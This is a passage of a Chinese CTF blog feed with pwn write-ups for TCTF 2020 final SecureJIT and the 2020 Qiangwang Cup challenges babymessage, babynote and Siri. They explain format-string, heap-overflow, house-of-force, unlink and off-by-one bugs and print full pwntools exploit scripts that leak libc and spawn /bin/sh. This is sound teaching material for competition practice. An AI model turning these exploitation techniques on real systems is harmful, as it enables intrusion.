ret</span></span><br><span class="line"><span class="string">0x0000000000162866 : pop rdx ; pop rbx ; ret</span></span><br><span class="line"><span class="string">0x000000000004a550 : pop rax ; ret</span></span><br><span class="line"><span class="string">.text:000000000008A754                 mov     rax, [rdi+0A0h]</span></span><br><span class="line"><span class="string">.text:000000000008A75B                 push    rbx</span></span><br><span class="line"><span class="string">.text:000000000008A75C                 mov     rbx, rdi</span></span><br><span class="line"><span class="string">.text:000000000008A75F                 mov     rdx, [rax+20h]</span></span><br><span class="line"><span class="string">.text:000000000008A763                 cmp     rdx, [rax+18h]</span></span><br><span class="line"><span class="string">.text:000000000008A767                 jbe     short loc_8A788</span></span><br><span class="line"><span class="string">.text:000000000008A769                 mov     rax, [rax+0E0h]</span></span><br><span class="line"><span class="string">.text:000000000008A770                 mov     esi, 0FFFFFFFFh</span></span><br><span class="line"><span class="string">.text:000000000008A775                 call    qword ptr [rax+18h]</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;这周打了一下ByteCTF，发现差距还是很大的，现在的很多堆菜单题都上2.31，新版本的题目需要多熟悉熟悉。&lt;/p&gt;
&lt;h2 id=&quot;分析&quot;&gt;&lt;a href=&quot;#分析&quot; class=&quot;headerlink&quot; title=&quot;分析&quot;&gt;&lt;/a&gt;分析&lt;/h2&gt;&lt;p&gt;checksec
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>2020 TCTF final SecureJIT writeup</title>
    <link href="https://hurricane618.me/2020/10/12/2020-tctf-final-jit/"/>
    <id>https://hurricane618.me/2020/10/12/2020-tctf-final-jit/</id>
    <published>2020-10-12T01:27:17.000Z</published>
    <updated>2020-10-12T01:27:17.873Z</updated>
    
    <content type="html"><![CDATA[<p>第一次打final 被打的头都炸了，555555。过去三周了，还是水一下这道签到题。</p><h2 id="题目情况"><a href="#题目情况" class="headerlink" title="题目情况"></a>题目情况</h2><p>作者搞到了一个ruby的jit——rubi，其中打了patch，让执行代码的区域变成不可写的情况。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">diff --git a/engine.c b/engine.c</span><br><span class="line">index 79e83d2..2350d59 100644</span><br><span class="line">--- a/engine.c</span><br><span class="line">+++ b/engine.c</span><br><span class="line">@@ -137,6 +137,11 @@ static int execute(char *source)</span><br><span class="line">init();</span><br><span class="line">lex(source);</span><br><span class="line">parser();</span><br><span class="line">+ long memsz = 0xFFFF + 1;</span><br><span class="line">+ if (mprotect(ntvCode, memsz, PROT_READ | PROT_EXEC)) &#123;</span><br><span class="line">+ perror(&quot;mprotect&quot;);</span><br><span class="line">+ exit(1);</span><br><span class="line">+ &#125;</span><br><span class="line">((int (*)(int *, void **)) ntvCode)(0, funcTable);</span><br><span class="line">dispose();</span><br><span class="line">return 0;</span><br></pre></td></tr></table></figure><p>对于防护，有一个思路就是寻找那些没有被保护的地方，这个只保护了ruby代码区域，没有保护其他的栈或者一些特殊符号比如free_hook和malloc_hook。</p><h2 id="漏洞点"><a href="#漏洞点" class="headerlink" title="漏洞点"></a>漏洞点</h2><p>1.格式化字符串漏洞</p><img src="/2020/10/12/2020-tctf-final-jit/1.png"><p>2.堆溢出二连，分别溢出了变量名和函数名</p><img src="/2020/10/12/2020-tctf-final-jit/2.png"><img src="/2020/10/12/2020-tctf-final-jit/3.png"><p>但是这个堆溢出有点无用，溢出之后无法有效控制</p><p>3.数组任意读写</p><img src="/2020/10/12/2020-tctf-final-jit/4.png"><p>这个威力很大，利用读取操作获得libc地址之后，可以直接改free_hook和malloc_hook。</p><h2 id="方法一-利用格式化字符串"><a href="#方法一-利用格式化字符串" class="headerlink" title="方法一 利用格式化字符串"></a>方法一 利用格式化字符串</h2><p>格式化字符串先泄露出libc地址，这个程序由于是32位的，所以会在栈上存储变量，这就给了我们向栈空间写数据的机会，可以输入很多参数的printf，覆盖栈空间的数据劫持控制流。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">fp = fopen(<span class="string">"/tmp/t"</span>, <span class="string">"w"</span>)</span><br><span class="line">fprintf(fp, <span class="string">"%15$p %13$p"</span>)</span><br><span class="line">fclose(fp)</span><br><span class="line"><span class="symbol">text:</span>string = Array(<span class="number">100</span>)</span><br><span class="line">fp = fopen(<span class="string">"/tmp/t"</span>, <span class="string">"r"</span>)</span><br><span class="line">fgets(text, <span class="number">100</span>, fp)</span><br><span class="line">fclose(fp)</span><br><span class="line">printf <span class="string">"%s\n"</span>, text</span><br><span class="line"><span class="symbol">base:</span>int = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i = <span class="number">2</span>, i &lt; <span class="number">10</span>, i++</span><br><span class="line">value = text[i] - <span class="string">'0'</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">'a'</span> &lt;= text[i] <span class="keyword">and</span> text[i] &lt;= <span class="string">'z'</span></span><br><span class="line">value = text[i] - <span class="string">'a'</span> + <span class="number">10</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line">base = base * <span class="number">16</span> + value</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"><span class="symbol">libc:</span>int = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i = <span class="number">13</span>, i &lt; <span class="number">21</span>, i++</span><br><span class="line">value = text[i] - <span class="string">'0'</span></span><br><span class="line"><span class="keyword">if</span> <span class="string">'a'</span> &lt;= text[i] <span class="keyword">and</span> text[i] &lt;= <span class="string">'z'</span></span><br><span class="line">value = text[i] - <span class="string">'a'</span> + <span class="number">10</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line">libc = libc * <span class="number">16</span> + value</span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"><span class="comment">#libc = libc - 1001401 # 1001081</span></span><br><span class="line">libc = libc - <span class="number">1001081</span></span><br><span class="line"><span class="comment">#sys = libc + 250448 # 250368</span></span><br><span class="line">sys = libc + <span class="number">250368</span></span><br><span class="line"><span class="comment">#bin_sh = libc + 1565647 # 1564879</span></span><br><span class="line">bin_sh = libc + <span class="number">1564879</span></span><br><span class="line">gadget = <span class="number">0</span></span><br><span class="line">printf <span class="string">"%x\n"</span>, base</span><br><span class="line">printf <span class="string">"%x\n"</span>, libc</span><br><span class="line">printf <span class="string">"%d"</span>, gadget, gadget, gadget, gadget, gadget, bin_sh, sys, gadget, gadget, sys, gadget, gadget, gadget, gadget, gadget, sys, gadget, bin_sh</span><br></pre></td></tr></table></figure><h2 id="方法二-直接利用数组任意读写"><a href="#方法二-直接利用数组任意读写" class="headerlink" title="方法二 直接利用数组任意读写"></a>方法二 直接利用数组任意读写</h2><p>首先在进入ruby执行空间的时候，eax为函数表地址，所以可以直接用<code>[3]</code>获得到malloc的地址，这样我们就能够计算出libc地址，得到<code>free_hook</code>的地址，直接写入system，然后free(‘/bin/sh’)拿到shell。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">x = [<span class="number">3</span>]</span><br><span class="line"><span class="symbol">a:</span>string = Array(<span class="number">100</span>)</span><br><span class="line">a[x - a - <span class="number">503040</span> + <span class="number">1939664</span>] = x - <span class="number">503040</span> + <span class="number">250448</span></span><br><span class="line">free(<span class="string">"/bin/sh"</span>)</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>看程序的时候，多注意一些危险操作，比如字符串读写，内存块读写，悬挂指针问题等等。在检查保护机制的时候，注意它的保护范围和保护原理，像这道题只保护了ruby代码执行区域我们可以在其他地方写数据来绕过，之前做的一道ptrace沙箱题目，绕过它的方法是利用系统中断<code>int3</code>，强制进入一次系统中断让ptrace的检测点失效，从而绕过对系统调用的检测。</p><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&amp;mid=2247484959&amp;idx=1&amp;sn=5919e45456c131ac9392d875c34e0719&amp;chksm=ce4b2d88f93ca49e1771586284fe75e12fdbfa63b1f6c7e6e5ae01ada49a20cca0aa7a807b8a&amp;mpshare=1&amp;scene=23&amp;srcid=0929Rl2bA4BazcX9HRFNQeKd&amp;sharer_sharetime=1601383291632&amp;sharer_shareid=2bfea3a1914646ead630f87d9dbd3069%23rd" target="_blank" rel="noopener">https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&amp;mid=2247484959&amp;idx=1&amp;sn=5919e45456c131ac9392d875c34e0719&amp;chksm=ce4b2d88f93ca49e1771586284fe75e12fdbfa63b1f6c7e6e5ae01ada49a20cca0aa7a807b8a&amp;mpshare=1&amp;scene=23&amp;srcid=0929Rl2bA4BazcX9HRFNQeKd&amp;sharer_sharetime=1601383291632&amp;sharer_shareid=2bfea3a1914646ead630f87d9dbd3069%23rd</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;第一次打final 被打的头都炸了，555555。过去三周了，还是水一下这道签到题。&lt;/p&gt;
&lt;h2 id=&quot;题目情况&quot;&gt;&lt;a href=&quot;#题目情况&quot; class=&quot;headerlink&quot; title=&quot;题目情况&quot;&gt;&lt;/a&gt;题目情况&lt;/h2&gt;&lt;p&gt;作者搞到了一个ruby的
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="fmt" scheme="https://hurricane618.me/tags/fmt/"/>
    
  </entry>
  
  <entry>
    <title>2020强网杯 强网先锋のpwn</title>
    <link href="https://hurricane618.me/2020/09/15/2020qwb-qwxf-pwn/"/>
    <id>https://hurricane618.me/2020/09/15/2020qwb-qwxf-pwn/</id>
    <published>2020-09-15T11:57:54.000Z</published>
    <updated>2020-10-11T14:09:37.005Z</updated>
    
    <content type="html"><![CDATA[<p>受到摸鱼和各种项目压力之后，终于发出来了，这次是强网杯中强网先锋的4道pwn题，剩下的pwn题还在陆续复现ing，在做了在做了ing</p><h2 id="babymessage"><a href="#babymessage" class="headerlink" title="babymessage"></a>babymessage</h2><p>一道神奇的栈溢出题目，有三个功能，写name，写message，输出buf，其中message的数据会被strcopy到buf上。这里的溢出点是在写message的功能上，一开始只能够溢出16字节，覆盖掉栈变量+rbp的值。这里如果只是看反编译的代码是看不出问题的，一定要观察汇编代码，这也是我经常失误的地方不太爱看汇编，555555。</p><p>这里的写message的函数里带着一个局部变量size，而这个变量因为是局部变量，它是受到rbp的值影响的。</p><img src="/2020/09/15/2020qwb-qwxf-pwn/1.png"><p>所以我们的溢出点控制住了rbp，就能够控制这个size局部变量的值，那么我们的输入大小就会增大，可以在栈上布置rop chain。那么这里有哪些合适的地方呢？因为这个程序没有开启aslr，所以我们可以找bss段上的数据，也就是name或者buf，而这里刚好有功能可以写到这两个地方，那么思路就有了。</p><p>通过相关功能向name或者buf写入一个足够大的数，然后通过溢出修改rbp的值，让<code>rbp-0x4</code>其指向我们修改的地方，这样size就被我们控制住了，随后按照一般的ROP操作泄露libc，返回溢出点再次溢出getshell。</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context(log_level=<span class="string">'debug'</span>)</span><br><span class="line">io = process(<span class="string">'./babymessage'</span>)</span><br><span class="line">elf = ELF(<span class="string">'./babymessage'</span>)</span><br><span class="line">libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">l_name</span><span class="params">(name)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'choice: \n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'1'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'name: \n'</span>)</span><br><span class="line">    io.send(name)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">l_mess</span><span class="params">(message)</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'choice: \n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'2'</span>)</span><br><span class="line">    io.recvuntil(<span class="string">'message: \n'</span>)</span><br><span class="line">    io.send(message)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span><span class="params">()</span>:</span></span><br><span class="line">    io.recvuntil(<span class="string">'choice: \n'</span>)</span><br><span class="line">    io.sendline(<span class="string">'3'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">name = <span class="number">0x6010D0</span></span><br><span class="line">puts_plt = elf.plt[<span class="string">'puts'</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">'puts'</span>]</span><br><span class="line">pop_rdi = <span class="number">0x400ac3</span></span><br><span class="line">message = <span class="number">0x400995</span></span><br><span class="line">pause()</span><br><span class="line">l_name(p32(<span class="number">0x1000</span>))</span><br><span class="line">l_mess(<span class="string">'a'</span> * <span class="number">8</span> + p64(name + <span class="number">4</span>))</span><br><span class="line">pause()</span><br><span class="line">l_mess(<span class="string">'a'</span> * <span class="number">8</span> + p64(name + <span class="number">4</span>) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(message))</span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">'\x7f'</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">libc_addr = puts_addr - libc.sym[<span class="string">'puts'</span>]</span><br><span class="line">info(<span class="string">'libc address: '</span> + hex(libc_addr))</span><br><span class="line">pause()</span><br><span class="line"></span><br><span class="line">system_addr = libc_addr + libc.sym[<span class="string">'system'</span>]</span><br><span class="line">bin_sh = libc_addr + libc.search(<span class="string">'/bin/sh'</span>).next()</span><br><span class="line">pause()</span><br><span class="line">io.sendafter(<span class="string">'message:'</span>, <span class="string">'a'</span> * <span class="number">8</span> + p64(name + <span class="number">4</span>) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr))</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="babynote"><a href="#babynote" class="headerlink" title="babynote"></a>babynote</h2><p>这道题的漏洞点在于使用了字符串复制函数strcpy，但是name数组并没有在末尾添加<code>\x00</code>，虽然在一开始对相应区域初始化为0，但是我们如果把name全部填满，那么在字符串复制的时候会认为name与之后的age为同一部分，最终会把后面的age部分一同复制，这样针对dest的复制会溢出。</p><img src="/2020/09/15/2020qwb-qwxf-pwn/2.png"><p>这里针对dest的溢出最多能溢出8个字节，而这里的dest正好size为0x18，这就意味着它占用了下一个chunk的prev_size区域，这溢出的8个字节能够刚好覆盖下一个chunk的size区域。</p><p>我们能控制下一块chunk的size，碰巧的是这下一块chunk刚好是top chunk，同时也能分配小于0x100的chunk，这刚好满足house of force的攻击要求，缺点是向高地址移动距离有限，更多的只能让top chunk向低地址移动。</p><h3 id="house-of-force-unlink-fastbin-attack"><a href="#house-of-force-unlink-fastbin-attack" class="headerlink" title="house of force + unlink/fastbin attack"></a>house of force + unlink/fastbin attack</h3><p>首先，我们布置三个0x100的堆块等待之后能任意分配chunk时构造unlink，随后利用程序提供的重置功能，触发上面的字符串复制的漏洞覆盖top chunk的size区域为-1，换算成补码也就是<code>0xffffffffffffffff</code>。在分配chunk的时候size会被当做无符号数，所以-1会变成最大值。想要控制三块0x100中间的chunk，需要调试计算其中的差值，而这个差值还需要再减0x10，为什么要减0x10，也是因为我们请求的大小会被转换成请求chunk的大小，有一个chunk head的部分需要0x10字节。</p><img src="/2020/09/15/2020qwb-qwxf-pwn/3.png"><p>这里我们的top chunk起始地址为0x1d0f590，我们的目标是控制第二个chunk也就是0x1d0f240，为了控制这个chunk就需要能改变chunk头部，所以我们分配chunk到0x1d0f230，刚好就能写到头部，改变prev_size和size。中间差了0x360再加上0x10一共0x370。通过分配调整top chunk位置之后，我们只需要再次分配0x20大小的chunk就能控制头部。这里申请0x10和0x20都是一个效果，申请0x10会得到0x20的chunk，申请0x20会得到0x30的chunk。</p><p>在能够控制头部之后，伪造prev_size和size，让堆管理认为前面的chunk已经释放，删除中间的块触发unlink前面的chunk，在删除之前需要在前面的chunk中布置需要改变的地址-0x18和地址-0x10，最后造成的效果是目标地址的值变成地址的值-0x18。有了这个我们能改变指针的值，让它指向地址前面，配合程序的修改功能我们能泄露写进的got函数地址，同时能把它修改成其他函数，比如system。这里就是先泄露free函数，获得libc基地址，再写入system地址。最后构造一个chunk，里面的内容为<code>/bin/sh\x00</code>，将其释放即可获得shell。</p><p>这里其实也可以不用unlink攻击，可以使用fastbin attack，我们已经能分配到低地址的chunk，那么也能够修改释放进fastbin的chunk，让其指向free_hook或者malloc_hook的低地址处，分配拿到chunk后直接修改为one_gadget。</p><h3 id="off-by-one"><a href="#off-by-one" class="headerlink" title="off by one"></a>off by one</h3><p>这是另外一种思路，同样利用strcpy溢出chunk的size区域，不过这里只溢出一个字节，首先申请一个0x18字节的note，再释放它使其进入fastbin中，这样之后修改name时申请的0x18字节会在fastbin中取到这个chunk，达到我们想要溢出的地点。控制chunk的大小为small bin范围，随后释放这个chunk，让它进入unsorted bin中，再次分配原来大小的chunk，在fastbin中没有合适的chunk时会切分unsorted bin中的chunk，切分之后剩下的部分依旧在unsorted bin里面，它的指针会被写进之前chunk的下一块chunk中，这样利用输出功能就能泄露出libc相关地址，得到libc基地址。</p><p>在泄露完成之后，再次分配下一个chunk同样大小的chunk，我们就拿到了两个指向同一chunk的指针，通过这个可以开始uaf攻击，释放其中一个指针，让这个chunk进入fastbin中，再通过另外一个指针修改fastbin指针，指向malloc_hook的低地址处，随后就是分配两次0x70的chunk，第二次就能拿到我们想要的chunk，写入one_gadget覆盖malloc_hook的位置，完成getshell。</p><h3 id="exp-1"><a href="#exp-1" class="headerlink" title="exp"></a>exp</h3><p>这里给的是house of force方法的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">sh = process(<span class="string">'./babynotes'</span>)</span><br><span class="line"><span class="comment">#sh = remote('123.56.170.202',43121)</span></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">elf = ELF(<span class="string">'./babynotes'</span>)</span><br><span class="line">libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc-2.23.so'</span>)</span><br><span class="line">free_got = elf.got[<span class="string">'free'</span>]</span><br><span class="line"></span><br><span class="line">sh.sendafter(<span class="string">'Input your name:'</span>,<span class="string">'haivk'</span>)</span><br><span class="line">sh.sendafter(<span class="string">'Input your motto:'</span>,<span class="string">'pwnit'</span>)</span><br><span class="line">sh.sendlineafter(<span class="string">'Input your age:'</span>,<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(index,size)</span>:</span></span><br><span class="line">   sh.sendlineafter(<span class="string">'&gt;&gt;'</span>,<span class="string">'1'</span>)</span><br><span class="line">   sh.sendlineafter(<span class="string">'Input index:'</span>,str(index))</span><br><span class="line">   sh.sendlineafter(<span class="string">'Input note size:'</span>,str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span><span class="params">(index)</span>:</span></span><br><span class="line">   sh.sendlineafter(<span class="string">'&gt;&gt;'</span>,<span class="string">'2'</span>)</span><br><span class="line">   sh.sendlineafter(<span class="string">'Input index:'</span>,str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(index)</span>:</span></span><br><span class="line">   sh.sendlineafter(<span class="string">'&gt;&gt;'</span>,<span class="string">'3'</span>)</span><br><span class="line">   sh.sendlineafter(<span class="string">'Input index:'</span>,str(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(index,content)</span>:</span></span><br><span class="line">   sh.sendlineafter(<span class="string">'&gt;&gt;'</span>,<span class="string">'4'</span>)</span><br><span class="line">   sh.sendlineafter(<span class="string">'Input index:'</span>,str(index))</span><br><span class="line">   sh.sendafter(<span class="string">'Input your note:'</span>,content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reset</span><span class="params">()</span>:</span></span><br><span class="line">   sh.sendlineafter(<span class="string">'&gt;&gt;'</span>,<span class="string">'5'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x100</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x100</span>)</span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x100</span>)</span><br><span class="line">pause()</span><br><span class="line">reset()</span><br><span class="line">sh.sendafter(<span class="string">'Input your name:'</span>,<span class="string">'haivk'</span>.ljust(<span class="number">0x18</span>,<span class="string">'a'</span>))</span><br><span class="line">sh.sendafter(<span class="string">'Input your motto:'</span>,<span class="string">'pwnit'</span>)</span><br><span class="line">sh.sendlineafter(<span class="string">'Input your age:'</span>,<span class="string">'-1'</span>)</span><br><span class="line">pause()</span><br><span class="line">add(<span class="number">4</span>,<span class="number">-0x370</span>)</span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x20</span>) <span class="comment"># get chunk1 head</span></span><br><span class="line"><span class="comment">#top chunk上移</span></span><br><span class="line">edit(<span class="number">3</span>,p64(<span class="number">0x100</span>) + p64(<span class="number">0x110</span>))</span><br><span class="line">heap0_ptr_addr = <span class="number">0x6020E0</span></span><br><span class="line">edit(<span class="number">0</span>,p64(<span class="number">0</span>) + p64(<span class="number">0x101</span>) + p64(heap0_ptr_addr - <span class="number">0x18</span>) + p64(heap0_ptr_addr - <span class="number">0x10</span>))</span><br><span class="line"><span class="comment">#unlink</span></span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">edit(<span class="number">0</span>,p64(<span class="number">0</span>)*<span class="number">3</span> + p64(free_got))</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">sh.recvuntil(<span class="string">'Note 0: '</span>)</span><br><span class="line">free_addr = u64(sh.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">'\x00'</span>))</span><br><span class="line">libc_base = free_addr - libc.sym[<span class="string">'free'</span>]</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">'system'</span>]</span><br><span class="line">edit(<span class="number">0</span>,p64(system_addr))</span><br><span class="line">edit(<span class="number">2</span>,<span class="string">'/bin/sh\x00'</span>)</span><br><span class="line"><span class="comment">#getshell</span></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure><h2 id="Siri"><a href="#Siri" class="headerlink" title="Siri"></a>Siri</h2><p>一个典型的格式化字符串漏洞，出现在0x1212函数中。</p><img src="/2020/09/15/2020qwb-qwxf-pwn/4.png"><p>输入<code>Hey Siri!</code>启动siri之后，我们输入开头带有<code>remind me to</code>的字符串，就能进入漏洞点。我们在<code>remind me to</code>之后的输入内容会被带入新的字符串中，printf触发这个格式化字符串的漏洞。</p><p>首先利用漏洞泄露数据，包括栈地址和libc地址，构造格式化字符串<code>%83$p</code>和<code>%44$p</code>可以获取到libc相关的地址和栈地址。剩下就是通过格式化字符串构造任意写，向一些地址写one_gadget。</p><p>构造任意写的方法就是在栈上布置一些需要写的地址，然后通过<code>%yyc%xx$hhn</code>的方法向栈上那个偏移量的地址写值。其中有些地方需要对齐，所以在某地位置要填充数据保证对齐。有了任意地址写，我们的方法就有很多了。</p><h3 id="改写hook"><a href="#改写hook" class="headerlink" title="改写hook"></a>改写hook</h3><p>改写<code>malloc_hook</code>，写其中写入one_gadget，然后输入大量的字符串，这样就会触发malloc，拿到shell。</p><h3 id="改写返回地址"><a href="#改写返回地址" class="headerlink" title="改写返回地址"></a>改写返回地址</h3><p>改写main函数的返回地址，但是没有办法直接返回到main函数，所以再最后一次改写子函数的返回地址，让它的返回地址指向<code>leave ret</code>，这样就会进行栈迁移，使得SP指向main函数的返回地址，也就是one_gadget处。</p><h3 id="exp-2"><a href="#exp-2" class="headerlink" title="exp"></a>exp</h3><p>注意一点，给的libc和ubuntu自带的libc有一些不同，所以在打远程的时候要用它给的libc。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">e = ELF(<span class="string">"./Siri"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc.so.6"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args.I:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"><span class="keyword">if</span> args.R:</span><br><span class="line">    p 